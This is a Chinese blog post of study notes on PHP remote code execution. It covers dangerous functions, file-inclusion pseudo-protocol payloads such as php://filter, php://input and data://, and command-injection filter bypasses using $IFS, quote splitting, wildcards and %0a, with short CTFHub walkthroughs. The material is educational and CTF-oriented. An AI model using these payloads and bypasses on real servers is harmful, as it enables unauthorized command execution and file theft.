RCE漏洞

一、漏洞

远程代码执行漏洞,通过php代码、java代码注入等方式连接程序中预留的后门或接口进行远程命令执行,控制服务器

原理:通过利用php函数(system、exec、shell_exec、passthru、popen、``、eval、assert、preg_replace、call_user_func、array_map、动态函数)经过构造后可以用字符串或php代码执行命令的特性,调用这些函数实现远程代码执行

二、常见函数

1.系统命令执行函数

OS是操作系统简称

system():将字符串作为OS命令执行,且返回命令执行结果

exec():将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显)

shell_exec():将字符串作为OS命令执行

passthru():将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上

popen():打开进程文件指针

proc_open():与popen()类似

pcntl_exec():在当前进程空间执行指定程序

反引号``:反引号``内的字符串会被解析为OS命令

2.代码执行函数

eval():将字符串作为php代码执行

assert():将字符串作为php代码执行

preg_replace():正则匹配替换字符串

create_function():主要创建匿名函数

call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数

call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组

可变函数:若变量后有括号,该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行

三、eval执行

eval()函数在 PHP 中用于执行一段以字符串形式给出的 PHP 代码。这段字符串代码会被作为 PHP 代码执行。

ctfhub技能树eval执行

代码的意思大致是判断是否传入cmd,没有就执行else

可以看到运用了eval函数,直接连接蚁剑

成功后在文件中找到flag

四、文件包含

1.原理

将可重复使用的函数写到文件中,用到直接调用文件

漏洞产生是因为引入时没校验,或者被绕过

包含的文件会被当成脚本文件进行解析

2.类别

1>本地文件包含(LFL)

2>远程文件包含(RFL)

远程包含文件需要在PHP配置文件中开启

allow_url_fopen=On(默认为On)规定是否允许从远程服务器或者网站检索数据

allow_url_include=ON(PHP 5.2之后默认Off)规定是否允许include/require远程文件

3.函数

include():找不到被包含的文件只会产生警告,脚本继续执行,并且include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

require():找不到被包含的文件就会产生错误,停止脚本运行

include_once()与irequire_once():如果该文件的代码已经被包含,则不会再次包含,其他性质如上

4.php伪协议

1>file协议:用于访问本地文件系统,不受allow_url_fopen与allow_url_include的影响

2>php协议:用于访问各个输入输出流

利用条件:allow_url_fopen :off/on     allow_url_include:on

                    php://filter/格式:php://filter/convert.base64-encode/resource=xxx.php   用于读取指定文件的源码,需要base64解密

                    php://input常用于执行文件代码,可以将文件包含漏洞直接转化伪RCE(代码执行)漏洞。数据利用post传。格式:filename=php://input

3>zip协议:可以访问zip压缩包里的文件,zip协议的使用要注意只能够使用绝对路径,而不能使用相对路径       利用条件:allow_url_fopen :off/on     allow_url_include:off/on         格式:zip://压缩包绝对路径%23压缩包文件

4>data协议:类似与php://input,也可将用户的一段指定输入流作为被包含的文件         

利用条件:allow_url_fopen :on     allow_url_include:on 

格式:data://text/plain,<?php phpinfo();?>

data协议支持编码,例如base64:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=(与上文意思一致)

注:当php配置allow_url_include和allow_url_fopen都为On的时候,可以对文件进行远程包含
例如:about.php?f=http://web/1.php
当allow_url_include为On,而allow_url_fopen为Off的是否,不可以直接远程包含文件,但是可以使用php://input、 php://stdin、 php://memory 和 php://temp等伪协议
例如about.php?f=php://input  post传输数据<?php phpinfo(); ?>

ctfhub技能树文件包含

strpos(string,find,start)函数:在字符串中找find位置,start为开始位置

所以要在file中找flag

如果file中没flag就引入file文件

否则输出harck

点击shell,发现要用php传入ctfhub

按题目要求传参

返回上级目录找到flag文件,用cat查看

ctfhub技能树读取源代码

file里的第0到第六个字符必须等于php://

知道flag在/flag里

 用php://filter实现对文件的访问,得到flag

五、命令注入

1.原理

通过应用程序将不安全的数据不经检查过滤传给主机操作系统

2.常用命令

cat:由第一行开始查文件

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
ls:查看目录
dir:查看目录 

$*:在shell命令执行下为空

3.绕过
(1)空格绕过

$IFS$9

${IFS}(最好用这个)

$IFS

(2)符号绕过正则

过滤cat

1>单双引号

ca''t flag.txt
ca""t flag.txt

2>跨行符“\”

ca\t flag.txt

(3)通配符绕过正则

能替代任何字符

shell通配符:

“*”——0或任意个字符

“?”——一个任意字符

shell:” 壳”, 操作系统的外壳。接收用户指令, 调用相应应用程序, 是一种用C语言编写的程序设计语言, 同时也是“为使用者提供操作界面”的命令解析器。

1>可通配得到的命令

/bin/base64:/???/????64   将文件以base64形式输出

/usr/bin/bzip2:/???/???/????2   将文件压缩为后缀是bz2的压缩包

2>字符串通配

flag.php:flag.???    flag*

(4)变量拼接绕过正则

将被过滤的字符串分成部分绕过

cat flag.php:x=lag;cat f&x.php

(5)内联执行

在shell中再嵌一个shell语句,用外面的处理里面的

用于内联语句的符号you ${},``(反引号)

把ls结果用echo输出:echo `ls`        echo ${ls}

(6)“${}”截取环境变量拼接

${}是对变量进行处理的一个函数,对值进行取长度,截取,替换等操作

这里用作截取字符串:

${PATH:start:length}  
start:起始位置
length:截取长度,可为负数

例如

(7)中括号匹配绕过

例如[a-c]代表匹配a-c之间的字符,包括字符本身

/bin/cat flag.txt:/[a-c][h-j][m-o]/[b-d]a[s-u] flag.txt

ctfhub技能树综合过滤练习

发现这些被过滤

用%0a代替换行,查看目录

${IFS}代替空格,flag被过滤,用通配符绕过

cat过滤可以运用单引号绕过,得到flag

4.source命令

又称点命令,可用.代替

5.无回显

shell_exec 让页面无回显,需要加上echo才能看见回显

需要写个文件到当前目录下,然后访问这个目录,例如:

?ip= c''at \f*** |tee 1.txt(写进1.txt文件里)

?ip=ls /|tee 1.txt

  • 22
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值